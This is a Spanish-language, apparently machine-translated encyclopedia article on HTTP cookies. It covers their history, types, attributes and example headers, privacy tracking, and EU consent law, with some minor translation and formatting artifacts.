Cookie (internet)

Las cookies HTTP (también llamadas cookies web, cookies de Internet, cookies de navegador o simplemente cookies) son pequeños bloques de datos creados por un servidor web mientras un usuario navega por un sitio web y que el navegador web del usuario coloca en la computadora del usuario u otro dispositivo. Las cookies se colocan en el dispositivo utilizado para acceder a un sitio web y se puede colocar más de una cookie en el dispositivo de un usuario durante una sesión.

Las cookies cumplen funciones útiles y, a veces, esenciales en la web. Permiten que los servidores web almacenen información con estado (como artículos agregados en el carrito de compras en una tienda en línea) en el dispositivo del usuario o para rastrear la actividad de navegación del usuario (incluido hacer clic en botones específicos, iniciar sesión o registrar qué páginas se visitaron en el pasado). También se pueden utilizar para guardar para su uso posterior la información que el usuario ingresó previamente en los campos del formulario, como nombres, direcciones, contraseñas y números de tarjetas de pago.

Los servidores web suelen utilizar cookies de autenticación para autenticar que un usuario ha iniciado sesión y con qué cuenta ha iniciado sesión. Sin la cookie, los usuarios tendrían que autenticarse iniciando sesión en cada página que contenga información confidencial a la que deseen acceder.. La seguridad de una cookie de autenticación generalmente depende de la seguridad del sitio web emisor y del navegador web del usuario, y de si los datos de la cookie están encriptados. Las vulnerabilidades de seguridad pueden permitir que un atacante lea los datos de una cookie, que se usen para obtener acceso a los datos del usuario o que se usen para obtener acceso (con las credenciales del usuario) al sitio web al que pertenece la cookie (consulte cross-site scripting y cross-site scripting). falsificación de solicitud de sitio para ejemplos).

Las cookies de seguimiento, y especialmente las cookies de seguimiento de terceros, se utilizan comúnmente como formas de recopilar registros a largo plazo de los historiales de navegación de las personas, un posible problema de privacidad que llevó a los legisladores europeos y estadounidenses a tomar medidas en 2011. La legislación europea exige que todos los sitios web dirigidos a los estados miembros de la Unión Europea obtienen el "consentimiento informado" de los usuarios antes de almacenar cookies no esenciales en su dispositivo.

Fondo

Origen del nombre

El término "cookie" fue acuñado por el programador de navegadores web Lou Montulli. Se derivó del término "cookie mágica", que es un paquete de datos que un programa recibe y devuelve sin cambios, utilizado por los programadores de Unix. El término galleta mágica deriva de la galleta de la fortuna, que es una galleta con un mensaje incrustado.

Historia

Las cookies mágicas ya se usaban en informática cuando el programador Lou Montulli tuvo la idea de usarlas en las comunicaciones web en junio de 1994. En ese momento, él era un empleado de Netscape Communications, que estaba desarrollando una aplicación de comercio electrónico para MCI. Vint Cerf y John Klensin representaron a MCI en discusiones técnicas con Netscape Communications. MCI no quería que sus servidores tuvieran que retener estados de transacciones parciales, lo que los llevó a pedirle a Netscape que encontrara una forma de almacenar ese estado en la computadora de cada usuario. Las cookies proporcionaron una solución al problema de implementar de manera confiable un carrito de compras virtual.

Junto con John Giannandrea, Montulli escribió la especificación inicial de cookies de Netscape el mismo año. La versión 0.9beta de Mosaic Netscape, lanzada el 13 de octubre de 1994, admitía cookies. El primer uso de cookies (fuera de los laboratorios) fue verificar si los visitantes del sitio web de Netscape ya habían visitado el sitio. Montulli recibió una patente para la tecnología de cookies en 1995. El soporte para cookies se integró con Internet Explorer en la versión 2, lanzada en octubre de 1995.

La introducción de las cookies no era muy conocida por el público en ese momento. En particular, las cookies se aceptaban por defecto y no se notificaba a los usuarios de su presencia. El público se enteró de las cookies después de que el Financial Times publicara un artículo sobre ellas el 12 de febrero de 1996. En el mismo año, las cookies recibieron mucha atención de los medios, especialmente debido a las posibles implicaciones para la privacidad. Las cookies se discutieron en dos audiencias de la Comisión Federal de Comercio de EE. UU. en 1996 y 1997.

El desarrollo de las especificaciones formales de cookies ya estaba en curso. En particular, las primeras discusiones sobre una especificación formal comenzaron en abril de 1995 en la lista de correo www-talk. Se formó un grupo de trabajo especial dentro del Grupo de Trabajo de Ingeniería de Internet (IETF). Brian Behlendorf y David Kristol habían propuesto dos propuestas alternativas para introducir el estado en las transacciones HTTP, respectivamente. Pero el grupo, encabezado por el propio Kristol y Lou Montulli, pronto decidió utilizar la especificación de Netscape como punto de partida. En febrero de 1996, el grupo de trabajo identificó las cookies de terceros como una amenaza considerable para la privacidad. La especificación producida por el grupo finalmente se publicó como RFC 2109 en febrero de 1997. Especifica que las cookies de terceros no estaban permitidas en absoluto, o al menos no estaban habilitadas de manera predeterminada.

En ese momento, las empresas de publicidad ya utilizaban cookies de terceros. Netscape e Internet Explorer no siguieron la recomendación sobre cookies de terceros de RFC 2109. RFC 2109 fue reemplazado por RFC 2965 en octubre de 2000.

RFC 2965 agregó un Set-Cookie2campo de encabezado, que informalmente se denominó "cookies de estilo RFC 2965" en lugar del Set-Cookiecampo de encabezado original que se llamaba "cookies de estilo Netscape". Sin embargo, rara vez se usó y quedó obsoleto en RFC 6265 en abril de 2011, que se escribió como una especificación definitiva para las cookies que se usan en el mundo real. Ningún navegador moderno reconoce el campo de encabezado. Set-Cookie2Set-Cookie2

Terminología

Cookie de sesión

Una cookie de sesión (también conocida como cookie en memoria, cookie transitoria o cookie no persistente) existe solo en la memoria temporal mientras el usuario navega por un sitio web. Las cookies de sesión caducan o se eliminan cuando el usuario cierra el navegador web. Las cookies de sesión son identificadas por el navegador por la ausencia de una fecha de caducidad asignada a las mismas.

Cookie persistente

Una cookie persistente caduca en una fecha específica o después de un período de tiempo específico. Durante la vida útil de la cookie persistente establecida por su creador, su información se transmitirá al servidor cada vez que el usuario visite el sitio web al que pertenece, o cada vez que el usuario visualice un recurso perteneciente a ese sitio web desde otro sitio web (como un anuncio).

Por esta razón, las cookies persistentes a veces se denominan cookies de seguimiento porque los anunciantes pueden utilizarlas para registrar información sobre los hábitos de navegación web de un usuario durante un período de tiempo prolongado. Sin embargo, también se usan por razones "legítimas" (como mantener a los usuarios conectados a sus cuentas en los sitios web, para evitar volver a ingresar las credenciales de inicio de sesión en cada visita).

Cookie segura

Una cookie segura solo se puede transmitir a través de una conexión cifrada (es decir, HTTPS). No se pueden transmitir a través de conexiones sin cifrar (es decir, HTTP). Esto hace que sea menos probable que la cookie esté expuesta al robo de cookies a través de escuchas ilegales. Una cookie se asegura agregando la Securebandera a la cookie.

Cookie de solo HTTP

Las API del lado del cliente, como JavaScript, no pueden acceder a una cookie de solo http. Esta restricción elimina la amenaza del robo de cookies a través de secuencias de comandos entre sitios (XSS). Sin embargo, la cookie sigue siendo vulnerable a los ataques de seguimiento entre sitios (XST) y de falsificación de solicitudes entre sitios (CSRF). A una cookie se le da esta característica agregando la HttpOnlybandera a la cookie.

Cookie del mismo sitio

En 2016, la versión 51 de Google Chrome introdujo un nuevo tipo de cookie con el atributo SameSite. El atributo SameSitepuede tener un valor de Strict, Laxo None. Con el atributo SameSite=Strict, los navegadores solo enviarían cookies a un dominio de destino que sea el mismo que el dominio de origen. Esto mitigaría efectivamente los ataques de falsificación de solicitudes entre sitios (CSRF). Con SameSite=Lax, los navegadores enviarían cookies con solicitudes a un dominio de destino incluso si es diferente del dominio de origen, pero solo para solicitudes seguras como GET (POST no es seguro) y no para cookies de terceros (dentro de iframe). El atributo SameSite=Nonepermitiría cookies de terceros (entre sitios), sin embargo, la mayoría de los navegadores requieren un atributo seguro en las cookies de SameSite=None.

La cookie del mismo sitio se incorpora en un nuevo borrador de RFC para "Cookies: Mecanismo de administración de estado HTTP" para actualizar RFC 6265 (si se aprueba).

Chrome, Firefox, Microsoft Edge comenzaron a admitir cookies del mismo sitio. La clave de la implementación es el tratamiento de las cookies existentes sin el atributo SameSite definido, Chrome ha estado tratando esas cookies existentes como si SameSite=None, esto mantendría todos los sitios web/aplicaciones funcionando como antes. Google tenía la intención de cambiar ese valor predeterminado a SameSite = Lax en febrero de 2020, el cambio rompería aquellas aplicaciones/sitios web que dependen de cookies de terceros/entre sitios, pero sin el atributo SameSite definido. Dados los cambios extensos para los desarrolladores web y las circunstancias de COVID-19, Google revirtió temporalmente el cambio de cookies de SameSite.

Cookie de terceros

Normalmente, el atributo de dominio de una cookie coincidirá con el dominio que se muestra en la barra de direcciones del navegador web. Esto se llama una cookie de origen. Una cookie de terceros, sin embargo, pertenece a un dominio diferente al que se muestra en la barra de direcciones. Este tipo de cookie suele aparecer cuando las páginas web presentan contenido de sitios web externos, como anuncios publicitarios. Esto abre la posibilidad de rastrear el historial de navegación del usuario y, a menudo, los anunciantes lo utilizan en un esfuerzo por mostrar anuncios relevantes para cada usuario.

Como ejemplo, supongamos que un usuario visita www.example.org. Este sitio web contiene un anuncio de ad.foxytracking.com, que, cuando se descarga, establece una cookie que pertenece al dominio del anuncio (ad.foxytracking.com). Luego, el usuario visita otro sitio web, www.foo.comque también contiene un anuncio ad.foxytracking.comy establece una cookie que pertenece a ese dominio (ad.foxytracking.com). Eventualmente, ambas cookies se enviarán al anunciante cuando cargue sus anuncios o visite su sitio web. El anunciante puede usar estas cookies para crear un historial de navegación del usuario en todos los sitios web que tienen anuncios de este anunciante, mediante el uso del campo de encabezado de referencia HTTP.

A partir de 2014, algunos sitios web configuraron cookies legibles para más de 100 dominios de terceros. En promedio, un solo sitio web configuraba 10 cookies, con un número máximo de cookies (de origen y de terceros) que superaba las 800.

La mayoría de los navegadores web modernos contienen configuraciones de privacidad que pueden bloquear las cookies de terceros, y algunos ahora bloquean todas las cookies de terceros de forma predeterminada; a partir de julio de 2020, dichos navegadores incluyen Apple Safari, Firefox y Brave. Safari permite que los sitios integrados utilicen la API de acceso al almacenamiento para solicitar permiso para establecer cookies propias. En mayo de 2020, Google Chrome introdujo nuevas funciones para bloquear las cookies de terceros de forma predeterminada en su modo de incógnito para la navegación privada, lo que hace que el bloqueo sea opcional durante la navegación normal. La misma actualización también agregó una opción para bloquear las cookies propias. Chrome planea comenzar a bloquear las cookies de terceros de forma predeterminada en 2023.

Supergalleta

Una supercookie es una cookie cuyo origen es un dominio de nivel superior (como .com) o un sufijo público (como .co.uk). Las cookies ordinarias, por el contrario, tienen su origen en un nombre de dominio específico, como example.com.

Las supercookies pueden ser un posible problema de seguridad y, por lo tanto, a menudo los navegadores web las bloquean. Si el navegador lo desbloquea, un atacante que controle un sitio web malicioso podría establecer una supercookie y potencialmente interrumpir o suplantar las solicitudes legítimas de los usuarios a otro sitio web que comparte el mismo dominio de nivel superior o el mismo sufijo público que el sitio web malicioso. Por ejemplo, una supercookie con un origen de .com, podría afectar maliciosamente una solicitud realizada a example.com, incluso si la cookie no se originó en example.com. Esto se puede usar para falsificar inicios de sesión o cambiar la información del usuario.

La lista pública de sufijos ayuda a mitigar el riesgo que representan las supercookies. La Lista de Sufijos Públicos es una iniciativa de varios proveedores que tiene como objetivo proporcionar una lista precisa y actualizada de sufijos de nombres de dominio. Las versiones anteriores de los navegadores pueden no tener una lista actualizada y, por lo tanto, serán vulnerables a las supercookies de ciertos dominios.

Otros usos

El término "supercookie" se utiliza a veces para tecnologías de seguimiento que no se basan en cookies HTTP. Dos de estos mecanismos de "supercookie" se encontraron en los sitios web de Microsoft en agosto de 2011: la sincronización de cookies que reaparece cookies MUID (identificador único de máquina) y cookies ETag. Debido a la atención de los medios, Microsoft luego deshabilitó este código. En una publicación de blog de 2021, Mozilla usó el término "supercookie" para referirse al uso de la caché del navegador (ver más abajo) como un medio para rastrear a los usuarios en los sitios.

Galleta zombi

Una cookie zombi son datos y códigos que un servidor web ha colocado en la computadora de un visitante u otro dispositivo en una ubicación oculta fuera de la ubicación de almacenamiento de cookies dedicada del navegador web del visitante, y que recrea automáticamente una cookie HTTP como una cookie normal después de la original. la cookie había sido eliminada. La cookie zombi se puede almacenar en varias ubicaciones, como el objeto compartido Flash Local, el almacenamiento web HTML5 y otras ubicaciones del lado del cliente e incluso del lado del servidor, y cuando se detecta la ausencia de la cookie, la cookie se recrea utilizando los datos almacenados en estas ubicaciones.

Muro de galletas

Un muro de cookies aparece en un sitio web e informa al usuario del uso de cookies del sitio web. No tiene opción de rechazo, y no se puede acceder al sitio web sin cookies de seguimiento.

Estructura

Una cookie consta de los siguientes componentes:

1. Nombre
2. Valor
3. Cero o más atributos (pares nombre/valor). Los atributos almacenan información como la caducidad de la cookie, el dominio y las marcas (como Securey HttpOnly).

Usos

Gestión de sesiones

Las cookies se introdujeron originalmente para proporcionar a los usuarios una forma de registrar los artículos que desean comprar mientras navegan por un sitio web (un "carrito de compras" virtual o "canasta de compras"). Hoy, sin embargo, el contenido del carrito de compras de un usuario generalmente se almacena en una base de datos en el servidor, en lugar de en una cookie en el cliente. Para realizar un seguimiento de qué usuario está asignado a qué carrito de compras, el servidor envía una cookie al cliente que contiene un identificador de sesión único (generalmente, una larga cadena de letras y números aleatorios). Debido a que las cookies se envían al servidor con cada solicitud que hace el cliente, ese identificador de sesión se enviará de vuelta al servidor cada vez que el usuario visite una nueva página en el sitio web, lo que le permite al servidor saber qué carrito de compras mostrar al usuario.

Otro uso popular de las cookies es para iniciar sesión en sitios web. Cuando el usuario visita la página de inicio de sesión de un sitio web, el servidor web generalmente envía al cliente una cookie que contiene un identificador de sesión único. Cuando el usuario inicia sesión con éxito, el servidor recuerda que ese identificador de sesión en particular ha sido autenticado y otorga al usuario acceso a sus servicios.

Debido a que las cookies de sesión solo contienen un identificador de sesión único, esto hace que la cantidad de información personal que un sitio web puede guardar sobre cada usuario sea prácticamente ilimitada; el sitio web no está limitado a restricciones relacionadas con el tamaño de una cookie. Las cookies de sesión también ayudan a mejorar los tiempos de carga de la página, ya que la cantidad de información en una cookie de sesión es pequeña y requiere poco ancho de banda.

Personalización

Las cookies se pueden utilizar para recordar información sobre el usuario a fin de mostrar contenido relevante a ese usuario a lo largo del tiempo. Por ejemplo, un servidor web puede enviar una cookie que contenga el nombre de usuario que se utilizó por última vez para iniciar sesión en un sitio web, de modo que pueda completarse automáticamente la próxima vez que el usuario inicie sesión.

Muchos sitios web utilizan cookies para la personalización en función de las preferencias del usuario. Los usuarios seleccionan sus preferencias ingresándolas en un formulario web y enviando el formulario al servidor. El servidor codifica las preferencias en una cookie y envía la cookie al navegador. De esta forma, cada vez que el usuario accede a una página del sitio web, el servidor puede personalizar la página según las preferencias del usuario. Por ejemplo, el motor de búsqueda de Google alguna vez usó cookies para permitir a los usuarios (incluso a los no registrados) decidir cuántos resultados de búsqueda por página querían ver. Además, DuckDuckGo utiliza cookies para permitir a los usuarios configurar las preferencias de visualización, como los colores de la página web.

Seguimiento

Las cookies de seguimiento se utilizan para rastrear los hábitos de navegación web de los usuarios. Esto también se puede hacer hasta cierto punto utilizando la dirección IP de la computadora que solicita la página o el campo de referencia del encabezado de la solicitud HTTP, pero las cookies permiten una mayor precisión. Esto se puede demostrar de la siguiente manera:

1. Si el usuario solicita una página del sitio, pero la solicitud no contiene ninguna cookie, el servidor supone que esta es la primera página visitada por el usuario. Entonces, el servidor crea un identificador único (generalmente una cadena de letras y números aleatorios) y lo envía como una cookie al navegador junto con la página solicitada.
2. A partir de este momento, el navegador enviará automáticamente la cookie al servidor cada vez que se solicite una nueva página del sitio. El servidor no solo envía la página como de costumbre, sino que también almacena la URL de la página solicitada, la fecha/hora de la solicitud y la cookie en un archivo de registro.

Al analizar este archivo de registro, es posible averiguar qué páginas ha visitado el usuario, en qué secuencia y durante cuánto tiempo.

Las corporaciones explotan los hábitos web de los usuarios al rastrear cookies para recopilar información sobre hábitos de compra. The Wall Street Journal descubrió que los cincuenta sitios web principales de Estados Unidos instalaron un promedio de sesenta y cuatro piezas de tecnología de seguimiento en las computadoras, lo que resultó en un total de 3.180 archivos de seguimiento. Luego, los datos pueden recopilarse y venderse a empresas licitadoras.

Implementación

Las cookies son piezas de datos arbitrarias, generalmente elegidas y enviadas primero por el servidor web, y almacenadas en la computadora del cliente por el navegador web. Luego, el navegador los envía de regreso al servidor con cada solicitud, introduciendo estados (memoria de eventos anteriores) en transacciones HTTP que de otro modo no tendrían estado. Sin las cookies, cada recuperación de una página web o componente de una página web sería un evento aislado, en gran medida sin relación con todas las demás vistas de página realizadas por el usuario en el sitio web. Aunque las cookies generalmente las establece el servidor web, también pueden ser configuradas por el cliente usando un lenguaje de secuencias de comandos como JavaScript (a menos HttpOnlyque se establezca el indicador de la cookie, en cuyo caso la cookie no puede ser modificada por lenguajes de secuencias de comandos).

Las especificaciones de cookies requieren que los navegadores cumplan los siguientes requisitos para admitir cookies:

• Puede admitir cookies de hasta 4096 bytes de tamaño.
• Puede admitir al menos 50 cookies por dominio (es decir, por sitio web).
• Puede soportar al menos 3.000 cookies en total.

Configuración de una cookie

Las cookies se configuran utilizando el Set-Cookiecampo de encabezado, enviado en una respuesta HTTP desde el servidor web. Este campo de encabezado le indica al navegador web que almacene la cookie y la envíe de vuelta al servidor en futuras solicitudes (el navegador ignorará este campo de encabezado si no es compatible con las cookies o las ha deshabilitado).

Como ejemplo, el navegador envía su primera solicitud HTTP para la página de inicio del www.example.orgsitio web:

OBTENER  /index.html  HTTP / 1.1 
Host:  www.example.org 
...

El servidor responde con dos Set-Cookiecampos de encabezado:

HTTP / 1.0  200  OK 
Tipo de contenido:  text/html 
Set-Cookie:  theme=light 
Set-Cookie:  sessionToken=abc123; Vence = miércoles, 09 de junio de 2021 10:18:14 GMT 
...

La respuesta HTTP del servidor contiene el contenido de la página de inicio del sitio web. Pero también le indica al navegador que establezca dos cookies. La primera, "tema", se considera una cookie de sesión ya que no tiene un atributo Expireso. Max-AgeLas cookies de sesión están destinadas a ser eliminadas por el navegador cuando se cierra el navegador. El segundo, "sessionToken", se considera una cookie persistente ya que contiene un Expiresatributo que indica al navegador que elimine la cookie en una fecha y hora específicas.

A continuación, el navegador envía otra solicitud para visitar la spec.htmlpágina en el sitio web. Esta solicitud contiene un Cookiecampo de encabezado, que contiene las dos cookies que el servidor le indicó al navegador que configurara:

GET  /spec.html  HTTP / 1.1 
Host:  www.example.org 
Cookie:  theme=light; sesiónToken=abc123 
…

De esta forma, el servidor sabe que esta solicitud HTTP está relacionada con la anterior. El servidor respondería enviando la página solicitada, posiblemente incluyendo más Set-Cookiecampos de encabezado en la respuesta HTTP para indicarle al navegador que agregue nuevas cookies, modifique las cookies existentes o elimine las cookies existentes. Para eliminar una cookie, el servidor debe incluir un Set-Cookiecampo de encabezado con una fecha de vencimiento en el pasado.

El valor de una cookie puede consistir en cualquier carácter ASCII imprimible (!hasta ~, Unicode u0021hasta u007E) sin incluir los caracteres ,y espacios en ;blanco. El nombre de una cookie excluye los mismos caracteres, así como =, ya que es el delimitador entre el nombre y el valor. El estándar de cookies RFC 2965 es más restrictivo pero los navegadores no lo implementan.

El término "migaja de galleta" se usa a veces para referirse al par nombre-valor de una galleta.

Las cookies también se pueden configurar mediante lenguajes de secuencias de comandos, como JavaScript, que se ejecutan en el navegador. En JavaScript, el objeto document.cookiese usa para este propósito. Por ejemplo, la instrucción document.cookie = "temperature=20"crea una cookie de nombre "temperatura" y valor "20".

Atributos de cookies

Además de un nombre y un valor, las cookies también pueden tener uno o más atributos. Los navegadores no incluyen atributos de cookies en las solicitudes al servidor; solo envían el nombre y el valor de la cookie. Los navegadores utilizan los atributos de las cookies para determinar cuándo eliminar una cookie, bloquear una cookie o enviar una cookie al servidor.

Dominio y ruta

Los atributos Domainy Pathdefinen el alcance de la cookie. Básicamente, le dicen al navegador a qué sitio web pertenece la cookie. Por motivos de seguridad, las cookies solo se pueden establecer en el dominio superior del recurso actual y sus subdominios, y no para otro dominio y sus subdominios. Por ejemplo, el sitio web example.orgno puede establecer una cookie que tenga un dominio de foo.comporque esto permitiría que el sitio web example.orgcontrole las cookies del dominio foo.com.

Si el servidor no especifica los atributos Domainy de una cookie, se establecen de forma predeterminada en el dominio y la ruta del recurso que se solicitó. Sin embargo, en la mayoría de los navegadores hay una diferencia entre un conjunto de cookies sin dominio y un conjunto de cookies con el dominio. En el primer caso, la cookie solo se enviará para solicitudes a, también conocida como cookie solo de host. En este último caso, también se incluyen todos los subdominios (por ejemplo,). Una excepción notable a esta regla general es Edge antes de Windows 10 RS3 e Internet Explorer antes de IE 11 y Windows 10 RS4 (abril de 2018), que siempre envía cookies a subdominios independientemente de si la cookie se configuró con o sin dominio.Pathfoo.comfoo.comfoo.comdocs.foo.com

A continuación se muestra un ejemplo de algunos Set-Cookiecampos de encabezado en la respuesta HTTP de un sitio web después de que un usuario inició sesión. La solicitud HTTP se envió a una página web dentro del docs.foo.comsubdominio:

HTTP / 1.0  200  OK 
Establecer-Cookie:  LSID=DQAAAK…Eaem_vYg; Ruta=/cuentas; Vence = miércoles, 13 de enero de 2021 22:23:01 GMT; Seguro; HttpOnly 
Set-Cookie:  HSID=AYQEVn…DKrdst; Dominio=.foo.com; Ruta=/; Vence = miércoles, 13 de enero de 2021 22:23:01 GMT; HttpOnly 
Set-Cookie:  SSID=Ap4P…GTEq; Dominio=foo.com; Ruta=/; Vence = miércoles, 13 de enero de 2021 22:23:01 GMT; Seguro; Sólo Http 
…

La primera cookie, LSID, no tiene Domainatributo y tiene un Pathatributo establecido en /accounts. Esto le dice al navegador que use la cookie solo cuando solicite páginas contenidas en docs.foo.com/accounts(el dominio se deriva del dominio de solicitud). Las otras dos cookies, HSIDy SSID, se usarían cuando el navegador solicite cualquier subdominio en .foo.comcualquier ruta (por ejemplo www.foo.com/bar,). El punto anterior es opcional en los estándares recientes, pero se puede agregar para compatibilidad con las implementaciones basadas en RFC 2109.

Caduca y Max-Age

El Expiresatributo define una fecha y hora específicas en las que el navegador debe eliminar la cookie. La fecha y la hora se especifican en el formulario Wdy, DD Mon YYYY HH:MM:SS GMTo en el formulario Wdy, DD Mon YY HH:MM:SS GMTpara valores de YY donde YY es mayor o igual a 0 y menor o igual a 69.

Alternativamente, el Max-Ageatributo se puede usar para establecer la caducidad de la cookie como un intervalo de segundos en el futuro, en relación con el momento en que el navegador recibió la cookie. A continuación se muestra un ejemplo de tres Set-Cookiecampos de encabezado que se recibieron de un sitio web después de que un usuario inició sesión:

HTTP / 1.0  200  OK 
Establecer-Cookie:  lu=Rg3vHJZnehYLjVg7qi3bZjzg; Caduca = martes, 15 de enero de 2013 a las 21:47:38 GMT; Ruta=/; Dominio=.ejemplo.com; HttpOnly 
Set-Cookie:  made_write_conn=1295214458; Ruta=/; Dominio=.example.com 
Set-Cookie:  reg_fb_gate=eliminado; Caduca = jueves, 01 de enero de 1970 00:00:01 GMT; Ruta=/; Dominio=.ejemplo.com; Sólo Http

La primera cookie, luestá configurada para caducar el 15 de enero de 2013. Será utilizada por el navegador del cliente hasta ese momento. La segunda cookie, made_write_conn, no tiene fecha de caducidad, lo que la convierte en una cookie de sesión. Se eliminará después de que el usuario cierre su navegador. La tercera cookie, reg_fb_gate, tiene su valor cambiado a "eliminado", con un tiempo de caducidad en el pasado. El navegador eliminará esta cookie de inmediato porque su tiempo de vencimiento ya pasó. Tenga en cuenta que la cookie solo se eliminará si los atributos de dominio y ruta en el Set-Cookiecampo coinciden con los valores utilizados cuando se creó la cookie.

A partir de 2016, Internet Explorer no admitía Max-Age.

Seguro y HttpOnly

Los atributos Securey HttpOnlyno tienen valores asociados. Más bien, la presencia de solo sus nombres de atributos indica que sus comportamientos deben estar habilitados.

El Secureatributo está destinado a mantener la comunicación de cookies limitada a la transmisión encriptada, dirigiendo a los navegadores a usar cookies solo a través de conexiones seguras/encriptadas. Sin embargo, si un servidor web establece una cookie con un atributo seguro desde una conexión no segura, la cookie aún puede ser interceptada cuando se envía al usuario mediante ataques de intermediario. Por lo tanto, para máxima seguridad, las cookies con el atributo Seguro solo deben configurarse a través de una conexión segura.

El HttpOnlyatributo indica a los navegadores que no expongan cookies a través de canales que no sean solicitudes HTTP (y HTTPS). Esto significa que no se puede acceder a la cookie a través de lenguajes de secuencias de comandos del lado del cliente (especialmente JavaScript) y, por lo tanto, no se puede robar fácilmente mediante secuencias de comandos entre sitios (una técnica de ataque generalizada).

Configuración del navegador

La mayoría de los navegadores modernos admiten cookies y permiten al usuario deshabilitarlas. Las siguientes son opciones comunes:

• Para habilitar o deshabilitar las cookies por completo, para que siempre se acepten o se bloqueen siempre.
• Para ver y eliminar cookies de forma selectiva mediante un administrador de cookies.
• Para borrar por completo todos los datos privados, incluidas las cookies.

También existen herramientas complementarias para administrar los permisos de cookies.

Privacidad y cookies de terceros

Las cookies tienen algunas implicaciones importantes para la privacidad y el anonimato de los usuarios de la web. Si bien las cookies se envían solo al servidor que las configura o a un servidor en el mismo dominio de Internet, una página web puede contener imágenes u otros componentes almacenados en servidores en otros dominios. Las cookies que se configuran durante la recuperación de estos componentes se denominan cookies de terceros.. Los estándares más antiguos para cookies, RFC 2109 y RFC 2965, especifican que los navegadores deben proteger la privacidad del usuario y no permitir el uso compartido de cookies entre servidores de forma predeterminada. Sin embargo, el estándar más nuevo, RFC 6265, permite explícitamente que los agentes de usuario implementen cualquier política de cookies de terceros que deseen. La mayoría de los navegadores, como Mozilla Firefox, Internet Explorer, Opera y Google Chrome, permiten cookies de terceros de forma predeterminada, siempre que el sitio web de terceros tenga publicada una Política de privacidad compacta. Las versiones más nuevas de Safari bloquean las cookies de terceros, y esto también está planeado para Mozilla Firefox (inicialmente planeado para la versión 22 pero pospuesto indefinidamente).

Las empresas de publicidad utilizan cookies de terceros para rastrear a un usuario en múltiples sitios. En particular, una empresa de publicidad puede rastrear a un usuario en todas las páginas donde ha colocado imágenes publicitarias o web bugs. El conocimiento de las páginas visitadas por un usuario permite a la empresa de publicidad orientar los anuncios a las supuestas preferencias del usuario.

Los operadores de sitios web que no divulgan el uso de cookies de terceros a los consumidores corren el riesgo de dañar la confianza del consumidor si se descubre el uso de cookies. Tener una divulgación clara (como en una política de privacidad) tiende a eliminar cualquier efecto negativo del descubrimiento de cookies.

La posibilidad de construir un perfil de usuarios es una amenaza a la privacidad, especialmente cuando el seguimiento se realiza en múltiples dominios utilizando cookies de terceros. Por este motivo, algunos países cuentan con legislación sobre cookies.

El gobierno de los Estados Unidos estableció reglas estrictas sobre la configuración de cookies en 2000 después de que se revelara que la oficina de políticas de drogas de la Casa Blanca usaba cookies para rastrear a los usuarios de computadoras que veían su publicidad antidrogas en línea. En 2002, el activista de la privacidad Daniel Brandt descubrió que la CIA había estado dejando cookies persistentes en las computadoras que habían visitado su sitio web. Cuando se le notificó que estaba violando la política, la CIA declaró que estas cookies no se configuraron intencionalmente y dejó de configurarlas. El 25 de diciembre de 2005, Brandt descubrió que la Agencia de Seguridad Nacional (NSA) había estado dejando dos cookies persistentes en las computadoras de los visitantes debido a una actualización de software. Después de ser informado, la NSA deshabilitó inmediatamente las cookies.

Directiva de cookies de la UE

En 2002, la Unión Europea lanzó la Directiva sobre privacidad y comunicaciones electrónicas (Directiva de privacidad electrónica), una política que requiere el consentimiento de los usuarios finales para colocar cookies y tecnologías similares para almacenar y acceder a información en los equipos de los usuarios. En particular, el Artículo 5, Párrafo 3, exige que el almacenamiento de datos técnicamente innecesarios en la computadora de un usuario solo se pueda realizar si se proporciona al usuario información sobre cómo se utilizan estos datos, y se le brinda la posibilidad de denegar esta operación de almacenamiento. La Directiva no requiere que los usuarios autoricen o reciban un aviso del uso de cookies que son funcionalmente necesarias para brindar un servicio que han solicitado, por ejemplo, para conservar la configuración, almacenar sesiones de inicio de sesión o recordar lo que hay en la cesta de la compra de un usuario.

En 2009, la ley fue enmendada por la Directiva 2009/136/EC, que incluyó un cambio en el Artículo 5, Párrafo 3. En lugar de tener una opción para que los usuarios opten por no almacenar cookies, la Directiva revisada requiere que se obtenga el consentimiento para las cookies. almacenamiento.La definición de consentimiento se remite a la definición de la ley europea de protección de datos, primero la Directiva de protección de datos de 1995 y, posteriormente, el Reglamento general de protección de datos (GDPR). Dado que la definición de consentimiento se reforzó en el texto del RGPD, esto tuvo el efecto de aumentar la calidad del consentimiento requerido por aquellos que almacenan y acceden a información como cookies en los dispositivos de los usuarios. Sin embargo, en un caso decidido en virtud de la Directiva de protección de datos, el Tribunal de Justicia de la Unión Europea confirmó más tarde que la ley anterior implicaba la misma calidad de consentimiento fuerte que el instrumento actual.Además del requisito de consentimiento que se deriva del almacenamiento o el acceso a la información en el dispositivo terminal de un usuario, la información en muchas cookies se considerará información personal solo según el RGPD y requerirá una base legal para su procesamiento. Este ha sido el caso desde la Directiva de Protección de Datos de 1995, que utilizó una definición idéntica de datos personales, aunque el RGPD en el considerando interpretativo 30 aclara que se incluyen identificadores de cookies. Si bien no todo el procesamiento de datos bajo el RGPD requiere consentimiento, las características de la publicidad conductual hacen que sea difícil o imposible de justificar bajo cualquier otro motivo.

El consentimiento en virtud de la combinación del RGPD y la Directiva de privacidad electrónica debe cumplir una serie de condiciones en relación con las cookies. Debe darse libremente y sin ambigüedades: las casillas premarcadas fueron prohibidas tanto por la Directiva de Protección de Datos de 1995 como por el RGPD (Considerando 32). El RGPD especifica que el consentimiento debe ser tan 'fácil de retirar como de dar', lo que significa que un botón de rechazar todo debe ser tan fácil de acceder en términos de clics y visibilidad como un botón de 'aceptar todo'. Debe ser específico e informado, lo que significa que el consentimiento se relaciona con propósitos particulares para el uso de estos datos, y todas las organizaciones que buscan usar este consentimiento deben ser nombradas específicamente.El Tribunal de Justicia de la Unión Europea también ha dictaminado que el consentimiento debe ser "eficiente y oportuno", lo que significa que debe obtenerse antes de que se coloquen las cookies y comience el procesamiento de datos en lugar de después.

La respuesta de la industria ha sido en gran medida negativa. Robert Bond, del bufete de abogados Speechly Bircham, describe los efectos como "de gran alcance e increíblemente onerosos" para "todas las empresas del Reino Unido". Simon Davis de Privacy International argumenta que la aplicación adecuada "destruiría toda la industria". Sin embargo, los académicos señalan que la naturaleza onerosa de las ventanas emergentes de cookies se deriva de un intento de continuar operando un modelo comercial a través de solicitudes complicadas que pueden ser incompatibles con el RGPD.

